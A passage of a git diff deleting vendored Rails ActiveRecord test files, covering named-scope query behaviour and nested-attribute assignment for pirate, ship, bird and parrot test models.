-  def test_first_and_last_should_allow_integers_for_limit
-    assert_equal Topic.base.first(2), Topic.base.to_a.first(2)
-    assert_equal Topic.base.last(2), Topic.base.to_a.last(2)
-  end
-
-  def test_first_and_last_should_not_use_query_when_results_are_loaded
-    topics = Topic.base
-    topics.reload # force load
-    assert_no_queries do
-      topics.first
-      topics.last
-    end
-  end
-
-  def test_first_and_last_find_options_should_use_query_when_results_are_loaded
-    topics = Topic.base
-    topics.reload # force load
-    assert_queries(2) do
-      topics.first(:order => 'title')
-      topics.last(:order => 'title')
-    end
-  end
-
-  def test_empty_should_not_load_results
-    topics = Topic.base
-    assert_queries(2) do
-      topics.empty?  # use count query
-      topics.collect # force load
-      topics.empty?  # use loaded (no query)
-    end
-  end
-
-  def test_any_should_not_load_results
-    topics = Topic.base
-    assert_queries(2) do
-      topics.any?    # use count query
-      topics.collect # force load
-      topics.any?    # use loaded (no query)
-    end
-  end
-
-  def test_any_should_call_proxy_found_if_using_a_block
-    topics = Topic.base
-    assert_queries(1) do
-      topics.expects(:empty?).never
-      topics.any? { true }
-    end
-  end
-
-  def test_any_should_not_fire_query_if_named_scope_loaded
-    topics = Topic.base
-    topics.collect # force load
-    assert_no_queries { assert topics.any? }
-  end
-
-  def test_should_build_with_proxy_options
-    topic = Topic.approved.build({})
-    assert topic.approved
-  end
-
-  def test_should_build_new_with_proxy_options
-    topic = Topic.approved.new
-    assert topic.approved
-  end
-
-  def test_should_create_with_proxy_options
-    topic = Topic.approved.create({})
-    assert topic.approved
-  end
-
-  def test_should_create_with_bang_with_proxy_options
-    topic = Topic.approved.create!({})
-    assert topic.approved
-  end
-
-  def test_should_build_with_proxy_options_chained
-    topic = Topic.approved.by_lifo.build({})
-    assert topic.approved
-    assert_equal 'lifo', topic.author_name
-  end
-
-  def test_find_all_should_behave_like_select
-    assert_equal Topic.base.select(&:approved), Topic.base.find_all(&:approved)
-  end
-
-  def test_rand_should_select_a_random_object_from_proxy
-    assert Topic.approved.sample.is_a?(Topic)
-  end
-
-  def test_should_use_where_in_query_for_named_scope
-    assert_equal Developer.find_all_by_name('Jamis').to_set, Developer.find_all_by_id(Developer.jamises).to_set
-  end
-
-  def test_size_should_use_count_when_results_are_not_loaded
-    topics = Topic.base
-    assert_queries(1) do
-      assert_sql(/COUNT/i) { topics.size }
-    end
-  end
-
-  def test_size_should_use_length_when_results_are_loaded
-    topics = Topic.base
-    topics.reload # force load
-    assert_no_queries do
-      topics.size # use loaded (no query)
-    end
-  end
-
-  def test_chaining_with_duplicate_joins
-    join = "INNER JOIN comments ON comments.post_id = posts.id"
-    post = Post.find(1)
-    assert_equal post.comments.size, Post.scoped(:joins => join).scoped(:joins => join, :conditions => "posts.id = #{post.id}").size
-  end
-
-  def test_chaining_should_use_latest_conditions_when_creating
-    post = Topic.rejected.new
-    assert !post.approved?
-
-    post = Topic.rejected.approved.new
-    assert post.approved?
-
-    post = Topic.approved.rejected.new
-    assert !post.approved?
-
-    post = Topic.approved.rejected.approved.new
-    assert post.approved?
-  end
-
-  def test_chaining_should_use_latest_conditions_when_searching
-    # Normal hash conditions
-    assert_equal Topic.all(:conditions => {:approved => true}), Topic.rejected.approved.all
-    assert_equal Topic.all(:conditions => {:approved => false}), Topic.approved.rejected.all
-
-    # Nested hash conditions with same keys
-    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_very_special_comments.all
-
-    # Nested hash conditions with different keys
-    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).all.uniq
-  end
-
-  def test_named_scopes_batch_finders
-    assert_equal 3, Topic.approved.count
-
-    assert_queries(4) do
-      Topic.approved.find_each(:batch_size => 1) {|t| assert t.approved? }
-    end
-
-    assert_queries(2) do
-      Topic.approved.find_in_batches(:batch_size => 2) do |group|
-        group.each {|t| assert t.approved? }
-      end
-    end
-  end
-
-  def test_table_names_for_chaining_scopes_with_and_without_table_name_included
-    assert_nothing_raised do
-      Comment.for_first_post.for_first_author.all
-    end
-  end
-end
-
-class DynamicScopeMatchTest < ActiveRecord::TestCase  
-  def test_scoped_by_no_match
-    assert_nil ActiveRecord::DynamicScopeMatch.match("not_scoped_at_all")
-  end
-
-  def test_scoped_by
-    match = ActiveRecord::DynamicScopeMatch.match("scoped_by_age_and_sex_and_location")
-    assert_not_nil match
-    assert match.scope?
-    assert_equal %w(age sex location), match.attribute_names
-  end
-end
-
-class DynamicScopeTest < ActiveRecord::TestCase
-  def test_dynamic_scope
-    assert_equal Post.scoped_by_author_id(1).find(1), Post.find(1)
-    assert_equal Post.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, Post.find(:first, :conditions => { :author_id => 1, :title => "Welcome to the weblog"})
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/nested_attributes_test.rb b/vendor/rails/activerecord/test/cases/nested_attributes_test.rb
deleted file mode 100644
index 6b144a14..00000000
--- a/vendor/rails/activerecord/test/cases/nested_attributes_test.rb
+++ /dev/null
@@ -1,840 +0,0 @@
-require "cases/helper"
-require "models/pirate"
-require "models/ship"
-require "models/ship_part"
-require "models/bird"
-require "models/parrot"
-require "models/treasure"
-require "models/man"
-require "models/interest"
-require "models/owner"
-require "models/pet"
-
-module AssertRaiseWithMessage
-  def assert_raise_with_message(expected_exception, expected_message)
-    begin
-      error_raised = false
-      yield
-    rescue expected_exception => error
-      error_raised = true
-      actual_message = error.message
-    end
-    assert error_raised
-    assert_equal expected_message, actual_message
-  end
-end
-
-class TestNestedAttributesInGeneral < ActiveRecord::TestCase
-  include AssertRaiseWithMessage
-
-  def teardown
-    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
-  end
-
-  def test_base_should_have_an_empty_nested_attributes_options
-    assert_equal Hash.new, ActiveRecord::Base.nested_attributes_options
-  end
-
-  def test_should_add_a_proc_to_nested_attributes_options
-    assert_equal ActiveRecord::NestedAttributes::ClassMethods::REJECT_ALL_BLANK_PROC,
-                 Pirate.nested_attributes_options[:birds_with_reject_all_blank][:reject_if]
-    
-    [:parrots, :birds].each do |name|
-      assert_instance_of Proc, Pirate.nested_attributes_options[name][:reject_if]
-    end
-  end
-
-  def test_should_not_build_a_new_record_if_reject_all_blank_returns_false
-    pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    pirate.birds_with_reject_all_blank_attributes = [{:name => '', :color => ''}]
-    pirate.save!
-
-    assert pirate.birds_with_reject_all_blank.empty?
-  end
-
-  def test_should_build_a_new_record_if_reject_all_blank_does_not_return_false
-    pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    pirate.birds_with_reject_all_blank_attributes = [{:name => 'Tweetie', :color => ''}]
-    pirate.save!
-
-    assert_equal 1, pirate.birds_with_reject_all_blank.count
-  end
-
-  def test_should_raise_an_ArgumentError_for_non_existing_associations
-    assert_raise_with_message ArgumentError, "No association found for name `honesty'. Has it been defined yet?" do
-      Pirate.accepts_nested_attributes_for :honesty
-    end
-  end
-
-  def test_should_disable_allow_destroy_by_default
-    Pirate.accepts_nested_attributes_for :ship
-
-    pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    ship = pirate.create_ship(:name => 'Nights Dirty Lightning')
-
-    assert_no_difference('Ship.count') do
-      pirate.update_attributes(:ship_attributes => { '_destroy' => true })
-    end
-  end
-
-  def test_a_model_should_respond_to_underscore_destroy_and_return_if_it_is_marked_for_destruction
-    ship = Ship.create!(:name => 'Nights Dirty Lightning')
-    assert !ship._destroy
-    ship.mark_for_destruction
-    assert ship._destroy
-  end
-
-  def test_reject_if_method_without_arguments
-    Pirate.accepts_nested_attributes_for :ship, :reject_if => :new_record?
-
-    pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
-    pirate.ship_attributes = { :name => 'Black Pearl' }
-    assert_no_difference('Ship.count') { pirate.save! }
-  end
-
-  def test_reject_if_method_with_arguments
-    Pirate.accepts_nested_attributes_for :ship, :reject_if => :reject_empty_ships_on_create
-
-    pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
-    pirate.ship_attributes = { :name => 'Red Pearl', :_reject_me_if_new => true }
-    assert_no_difference('Ship.count') { pirate.save! }
-
-    # pirate.reject_empty_ships_on_create returns false for saved records
-    pirate.ship_attributes = { :name => 'Red Pearl', :_reject_me_if_new => true }
-    assert_difference('Ship.count') { pirate.save! }
-  end
-
-  def test_reject_if_with_indifferent_keys
-    Pirate.accepts_nested_attributes_for :ship, :reject_if => proc {|attributes| attributes[:name].blank? }
-
-    pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
-    pirate.ship_attributes = { :name => 'Hello Pearl' }
-    assert_difference('Ship.count') { pirate.save! }
-  end
-end
-
-class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
-  include AssertRaiseWithMessage
-
-  def setup
-    @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
-  end
-
-  def test_should_raise_argument_error_if_trying_to_build_polymorphic_belongs_to
-    assert_raise_with_message ArgumentError, "Cannot build association looter. Are you trying to build a polymorphic one-to-one association?" do
-      Treasure.new(:name => 'pearl', :looter_attributes => {:catchphrase => "Arrr"})
-    end
-  end
-
-  def test_should_define_an_attribute_writer_method_for_the_association
-    assert_respond_to @pirate, :ship_attributes=
-  end
-
-  def test_should_build_a_new_record_if_there_is_no_id
-    @ship.destroy
-    @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' }
-
-    assert @pirate.ship.new_record?
-    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
-  end
-
-  def test_should_not_build_a_new_record_if_there_is_no_id_and_destroy_is_truthy
-    @ship.destroy
-    @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_destroy => '1' }
-
-    assert_nil @pirate.ship
-  end
-
-  def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
-    @ship.destroy
-    @pirate.reload.ship_attributes = {}
-
-    assert_nil @pirate.ship
-  end
-
-  def test_should_replace_an_existing_record_if_there_is_no_id
-    @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' }
-
-    assert @pirate.ship.new_record?
-    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
-    assert_equal 'Nights Dirty Lightning', @ship.name
-  end
-
-  def test_should_not_replace_an_existing_record_if_there_is_no_id_and_destroy_is_truthy
-    @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_destroy => '1' }
-
-    assert_equal @ship, @pirate.ship
-    assert_equal 'Nights Dirty Lightning', @pirate.ship.name
-  end
-
-  def test_should_modify_an_existing_record_if_there_is_a_matching_id
-    @pirate.reload.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' }
-
-    assert_equal @ship, @pirate.ship
-    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
-  end
-
-  def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
-    assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
-      @pirate.ship_attributes = { :id => 1234567890 }
-    end
-  end
-
-  def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
-    @pirate.reload.ship_attributes = { 'id' => @ship.id, 'name' => 'Davy Jones Gold Dagger' }
-
-    assert_equal @ship, @pirate.ship
-    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
-  end
-
-  def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
-    @ship.stubs(:id).returns('ABC1X')
-    @pirate.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' }
-
-    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
-  end
-
-  def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
-    @pirate.ship.destroy
-    [1, '1', true, 'true'].each do |truth|
-      @pirate.reload.create_ship(:name => 'Mister Pablo')
-      assert_difference('Ship.count', -1) do
-        @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_destroy => truth })
-      end
-    end
-  end
-
-  def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
-    [nil, '0', 0, 'false', false].each do |not_truth|
-      assert_no_difference('Ship.count') do
-        @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_destroy => not_truth })
-      end
-    end
-  end
-
-  def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
-    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
-
-    assert_no_difference('Ship.count') do
-      @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_destroy => '1' })
-    end
-
-    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
-  end
-
-  def test_should_also_work_with_a_HashWithIndifferentAccess
-    @pirate.ship_attributes = HashWithIndifferentAccess.new(:id => @ship.id, :name => 'Davy Jones Gold Dagger')
-
-    assert !@pirate.ship.new_record?
-    assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
-  end
-
-  def test_should_work_with_update_attributes_as_well
-    @pirate.update_attributes({ :catchphrase => 'Arr', :ship_attributes => { :id => @ship.id, :name => 'Mister Pablo' } })
-    @pirate.reload
-
-    assert_equal 'Arr', @pirate.catchphrase
-    assert_equal 'Mister Pablo', @pirate.ship.name
-  end
-
-  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
-    assert_no_difference('Ship.count') do
-      @pirate.attributes = { :ship_attributes => { :id => @ship.id, :_destroy => '1' } }
-    end
-    assert_difference('Ship.count', -1) do
-      @pirate.save
-    end
-  end
-
-  def test_should_automatically_enable_autosave_on_the_association
-    assert Pirate.reflect_on_association(:ship).options[:autosave]
-  end
-
-  def test_should_accept_update_only_option
-    @pirate.update_attribute(:update_only_ship_attributes, { :id => @pirate.ship.id, :name => 'Mayflower' })
-  end
-
-  def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
-    @ship.delete
-    assert_difference('Ship.count', 1) do
-      @pirate.reload.update_attribute(:update_only_ship_attributes, { :name => 'Mayflower' })
-    end
-  end
-
-  def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
-    @ship.delete
-    @ship = @pirate.create_update_only_ship(:name => 'Nights Dirty Lightning')
-
-    assert_no_difference('Ship.count') do
-      @pirate.update_attributes(:update_only_ship_attributes => { :name => 'Mayflower' })
-    end
-    assert_equal 'Mayflower', @ship.reload.name
-  end
-end
-
-class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
-  include AssertRaiseWithMessage
-
-  def setup
-    @ship = Ship.new(:name => 'Nights Dirty Lightning')
-    @pirate = @ship.build_pirate(:catchphrase => 'Aye')
-    @ship.save!
-  end
-
-  def test_should_define_an_attribute_writer_method_for_the_association
-    assert_respond_to @ship, :pirate_attributes=
-  end
-
-  def test_should_build_a_new_record_if_there_is_no_id
-    @pirate.destroy
-    @ship.reload.pirate_attributes = { :catchphrase => 'Arr' }
-
-    assert @ship.pirate.new_record?
-    assert_equal 'Arr', @ship.pirate.catchphrase
-  end
-
-  def test_should_not_build_a_new_record_if_there_is_no_id_and_destroy_is_truthy
-    @pirate.destroy
-    @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_destroy => '1' }
-
-    assert_nil @ship.pirate
-  end
-
-  def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
-    @pirate.destroy
-    @ship.reload.pirate_attributes = {}
-
-    assert_nil @ship.pirate
-  end
-
-  def test_should_replace_an_existing_record_if_there_is_no_id
-    @ship.reload.pirate_attributes = { :catchphrase => 'Arr' }
-
-    assert @ship.pirate.new_record?
-    assert_equal 'Arr', @ship.pirate.catchphrase
-    assert_equal 'Aye', @pirate.catchphrase
-  end
-
-  def test_should_not_replace_an_existing_record_if_there_is_no_id_and_destroy_is_truthy
-    @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_destroy => '1' }
-
-    assert_equal @pirate, @ship.pirate
-    assert_equal 'Aye', @ship.pirate.catchphrase
-  end
-
-  def test_should_modify_an_existing_record_if_there_is_a_matching_id
-    @ship.reload.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' }
-
-    assert_equal @pirate, @ship.pirate
-    assert_equal 'Arr', @ship.pirate.catchphrase
-  end
-
-  def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
-    assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}" do
-      @ship.pirate_attributes = { :id => 1234567890 }
-    end
-  end
-
-  def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
-    @ship.reload.pirate_attributes = { 'id' => @pirate.id, 'catchphrase' => 'Arr' }
-
-    assert_equal @pirate, @ship.pirate
-    assert_equal 'Arr', @ship.pirate.catchphrase
-  end
-
-  def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
-    @pirate.stubs(:id).returns('ABC1X')
-    @ship.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' }
-
-    assert_equal 'Arr', @ship.pirate.catchphrase
-  end
-
-  def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
-    @ship.pirate.destroy
-    [1, '1', true, 'true'].each do |truth|
-      @ship.reload.create_pirate(:catchphrase => 'Arr')
-      assert_difference('Pirate.count', -1) do
-        @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_destroy => truth })
-      end
-    end
-  end
-
-  def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
-    [nil, '0', 0, 'false', false].each do |not_truth|
-      assert_no_difference('Pirate.count') do
-        @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_destroy => not_truth })
-      end
-    end
-  end
-
-  def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
-    Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
-
-    assert_no_difference('Pirate.count') do
-      @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_destroy => '1' })
-    end
-
-    Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
-  end
-
-  def test_should_work_with_update_attributes_as_well
-    @ship.update_attributes({ :name => 'Mister Pablo', :pirate_attributes => { :catchphrase => 'Arr' } })
-    @ship.reload
-
-    assert_equal 'Mister Pablo', @ship.name
-    assert_equal 'Arr', @ship.pirate.catchphrase
-  end
-
-  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
-    assert_no_difference('Pirate.count') do
-      @ship.attributes = { :pirate_attributes => { :id => @ship.pirate.id, '_destroy' => true } }
-    end
-    assert_difference('Pirate.count', -1) { @ship.save }
-  end
-
-  def test_should_automatically_enable_autosave_on_the_association
-    assert Ship.reflect_on_association(:pirate).options[:autosave]
-  end
-
-  def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
-    @pirate.delete
-    assert_difference('Pirate.count', 1) do
-      @ship.reload.update_attribute(:update_only_pirate_attributes, { :catchphrase => 'Arr' })
-    end
-  end
-
-  def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
-    @pirate.delete
-    @pirate = @ship.create_update_only_pirate(:catchphrase => 'Aye')
-
-    assert_no_difference('Pirate.count') do
-      @ship.update_attributes(:update_only_pirate_attributes => { :catchphrase => 'Arr' })
-    end
-    assert_equal 'Arr', @pirate.reload.catchphrase
-  end
-end
-
-module NestedAttributesOnACollectionAssociationTests
-  include AssertRaiseWithMessage
-
-  def test_should_define_an_attribute_writer_method_for_the_association
-    assert_respond_to @pirate, association_setter
-  end
-
-  def test_should_save_only_one_association_on_create
-    pirate = Pirate.create!({
-      :catchphrase => 'Arr',
-      association_getter => { 'foo' => { :name => 'Grace OMalley' } }
-    })
-
-    assert_equal 1, pirate.reload.send(@association_name).count
-  end
-
-  def test_should_take_a_hash_with_string_keys_and_assign_the_attributes_to_the_associated_models
-    @alternate_params[association_getter].stringify_keys!
-    @pirate.update_attributes @alternate_params
-    assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
-  end
-
-  def test_should_take_an_array_and_assign_the_attributes_to_the_associated_models
-    @pirate.send(association_setter, @alternate_params[association_getter].values)
-    @pirate.save
-    assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
-  end
-
-  def test_should_also_work_with_a_HashWithIndifferentAccess
-    @pirate.send(association_setter, HashWithIndifferentAccess.new('foo' => HashWithIndifferentAccess.new(:id => @child_1.id, :name => 'Grace OMalley')))
-    @pirate.save
-    assert_equal 'Grace OMalley', @child_1.reload.name
-  end
-
-  def test_should_take_a_hash_and_assign_the_attributes_to_the_associated_models
-    @pirate.attributes = @alternate_params
-    assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
-    assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name
-  end
-
-  def test_should_not_load_association_when_updating_existing_records
-    @pirate.reload
-    @pirate.send(association_setter, [{ :id => @child_1.id, :name => 'Grace OMalley' }])
-    assert ! @pirate.send(@association_name).loaded?
-
-    @pirate.save
-    assert ! @pirate.send(@association_name).loaded?
-    assert_equal 'Grace OMalley', @child_1.reload.name
-  end
-
-  def test_should_not_overwrite_unsaved_updates_when_loading_association
-    @pirate.reload
-    @pirate.send(association_setter, [{ :id => @child_1.id, :name => 'Grace OMalley' }])
-    assert_equal 'Grace OMalley', @pirate.send(@association_name).send(:load_target).find { |r| r.id == @child_1.id }.name
-  end
-
-  def test_should_preserve_order_when_not_overwriting_unsaved_updates
-    @pirate.reload
-    @pirate.send(association_setter, [{ :id => @child_1.id, :name => 'Grace OMalley' }])
-    assert_equal @child_1.id, @pirate.send(@association_name).send(:load_target).first.id
-  end
-
-  def test_should_refresh_saved_records_when_not_overwriting_unsaved_updates
-    @pirate.reload
-    record = @pirate.class.reflect_on_association(@association_name).klass.new(:name => 'Grace OMalley')
-    @pirate.send(@association_name) << record
-    record.save!
-    @pirate.send(@association_name).last.update_attributes!(:name => 'Polly')
-    assert_equal 'Polly', @pirate.send(@association_name).send(:load_target).last.name
-  end
-
-  def test_should_not_remove_scheduled_destroys_when_loading_association
-    @pirate.reload
-    @pirate.send(association_setter, [{ :id => @child_1.id, :_destroy => '1' }])
-    assert @pirate.send(@association_name).send(:load_target).find { |r| r.id == @child_1.id }.marked_for_destruction?
-  end
-
-  def test_should_take_a_hash_with_composite_id_keys_and_assign_the_attributes_to_the_associated_models
-    @child_1.stubs(:id).returns('ABC1X')
-    @child_2.stubs(:id).returns('ABC2X')
-
-    @pirate.attributes = {
-      association_getter => [
-        { :id => @child_1.id, :name => 'Grace OMalley' },
-        { :id => @child_2.id, :name => 'Privateers Greed' }
-      ]
-    }
-
-    assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.name, @child_2.name]
-  end
-
-  def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
-    assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
-      @pirate.attributes = { association_getter => [{ :id => 1234567890 }] }
-    end
-  end
-
-  def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
-    @pirate.send(@association_name).destroy_all
-    @pirate.reload.attributes = {
-      association_getter => { 'foo' => { :name => 'Grace OMalley' }, 'bar' => { :name => 'Privateers Greed' }}
-    }
-
-    assert @pirate.send(@association_name).first.new_record?
-    assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
-
-    assert @pirate.send(@association_name).last.new_record?
-    assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name
-  end
-
-  def test_should_not_assign_destroy_key_to_a_record
-    assert_nothing_raised ActiveRecord::UnknownAttributeError do
-      @pirate.send(association_setter, { 'foo' => { '_destroy' => '0' }})
-    end
-  end
-
-  def test_should_ignore_new_associated_records_with_truthy_destroy_attribute
-    @pirate.send(@association_name).destroy_all
-    @pirate.reload.attributes = {
-      association_getter => {
-        'foo' => { :name => 'Grace OMalley' },
-        'bar' => { :name => 'Privateers Greed', '_destroy' => '1' }
-      }
-    }
-
-    assert_equal 1, @pirate.send(@association_name).length
-    assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
-  end
-
-  def test_should_ignore_new_associated_records_if_a_reject_if_proc_returns_false
-    @alternate_params[association_getter]['baz'] = {}
-    assert_no_difference("@pirate.send(@association_name).count") do
-      @pirate.attributes = @alternate_params
-    end
-  end
-
-  def test_should_sort_the_hash_by_the_keys_before_building_new_associated_models
-    attributes = ActiveSupport::OrderedHash.new
-    attributes['123726353'] = { :name => 'Grace OMalley' }
-    attributes['2'] = { :name => 'Privateers Greed' } # 2 is lower then 123726353
-    @pirate.send(association_setter, attributes)
-
-    assert_equal ['Posideons Killer', 'Killer bandita Dionne', 'Privateers Greed', 'Grace OMalley'].to_set, @pirate.send(@association_name).map(&:name).to_set
-  end
-
-  def test_should_raise_an_argument_error_if_something_else_than_a_hash_is_passed
-    assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) }
-    assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, ActiveSupport::OrderedHash.new) }
-
-    assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do
-      @pirate.send(association_setter, "foo")
-    end
-  end
-
-  def test_should_work_with_update_attributes_as_well
-    @pirate.update_attributes(:catchphrase => 'Arr',
-      association_getter => { 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' }})
-
-    assert_equal 'Grace OMalley', @child_1.reload.name
-  end
-
-  def test_should_update_existing_records_and_add_new_ones_that_have_no_id
-    @alternate_params[association_getter]['baz'] = { :name => 'Buccaneers Servant' }
-    assert_difference('@pirate.send(@association_name).count', +1) do
-      @pirate.update_attributes @alternate_params
-    end
-    assert_equal ['Grace OMalley', 'Privateers Greed', 'Buccaneers Servant'].to_set, @pirate.reload.send(@association_name).map(&:name).to_set
-  end
-
-  def test_should_be_possible_to_destroy_a_record
-    ['1', 1, 'true', true].each do |true_variable|
-      record = @pirate.reload.send(@association_name).create!(:name => 'Grace OMalley')
-      @pirate.send(association_setter,
-        @alternate_params[association_getter].merge('baz' => { :id => record.id, '_destroy' => true_variable })
-      )
-
-      assert_difference('@pirate.send(@association_name).count', -1) do
-        @pirate.save
-      end
-    end
-  end
-
-  def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument
-    [nil, '', '0', 0, 'false', false].each do |false_variable|
-      @alternate_params[association_getter]['foo']['_destroy'] = false_variable
-      assert_no_difference('@pirate.send(@association_name).count') do
-        @pirate.update_attributes(@alternate_params)
-      end
-    end
-  end
-
-  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
-    assert_no_difference('@pirate.send(@association_name).count') do
-      @pirate.send(association_setter, @alternate_params[association_getter].merge('baz' => { :id => @child_1.id, '_destroy' => true }))
-    end
-    assert_difference('@pirate.send(@association_name).count', -1) { @pirate.save }
-  end
-
-  def test_should_automatically_enable_autosave_on_the_association
-    assert Pirate.reflect_on_association(@association_name).options[:autosave]
-  end
-
-  def test_validate_presence_of_parent_works_with_inverse_of
-    Man.accepts_nested_attributes_for(:interests)
-    assert_equal :man, Man.reflect_on_association(:interests).options[:inverse_of]
-    assert_equal :interests, Interest.reflect_on_association(:man).options[:inverse_of]
-
-    repair_validations(Interest) do
-      Interest.validates_presence_of(:man)
-      assert_difference 'Man.count' do
-        assert_difference 'Interest.count', 2 do
-          man = Man.create!(:name => 'John',
-                            :interests_attributes => [{:topic=>'Cars'}, {:topic=>'Sports'}])
-          assert_equal 2, man.interests.count
-        end
-      end
-    end
-  end
-
-  def test_validate_presence_of_parent_fails_without_inverse_of
-    Man.accepts_nested_attributes_for(:interests)
-    Man.reflect_on_association(:interests).options.delete(:inverse_of)
-    Interest.reflect_on_association(:man).options.delete(:inverse_of)
-
-    repair_validations(Interest) do
-      Interest.validates_presence_of(:man)
-      assert_no_difference ['Man.count', 'Interest.count'] do
-        man = Man.create(:name => 'John',
-                         :interests_attributes => [{:topic=>'Cars'}, {:topic=>'Sports'}])
-        assert !man.errors[:'interests.man'].empty?
-      end
-    end
-    # restore :inverse_of
-    Man.reflect_on_association(:interests).options[:inverse_of] = :man
-    Interest.reflect_on_association(:man).options[:inverse_of] = :interests
-  end
-
-  private
-
-  def association_setter
-    @association_setter ||= "#{@association_name}_attributes=".to_sym
-  end
-
-  def association_getter
-    @association_getter ||= "#{@association_name}_attributes".to_sym
-  end
-end
-
-class TestNestedAttributesOnAHasManyAssociation < ActiveRecord::TestCase
-  def setup
-    @association_type = :has_many
-    @association_name = :birds
-
-    @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @pirate.birds.create!(:name => 'Posideons Killer')
-    @pirate.birds.create!(:name => 'Killer bandita Dionne')
-
-    @child_1, @child_2 = @pirate.birds
-
-    @alternate_params = {
-      :birds_attributes => {
-        'foo' => { :id => @child_1.id, :name => 'Grace OMalley' },
-        'bar' => { :id => @child_2.id, :name => 'Privateers Greed' }
-      }
-    }
-  end
-
-  include NestedAttributesOnACollectionAssociationTests
-end
-
-class TestNestedAttributesOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
-  def setup
-    @association_type = :has_and_belongs_to_many
-    @association_name = :parrots
-
-    @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @pirate.parrots.create!(:name => 'Posideons Killer')
-    @pirate.parrots.create!(:name => 'Killer bandita Dionne')
-
-    @child_1, @child_2 = @pirate.parrots
-
-    @alternate_params = {
-      :parrots_attributes => {
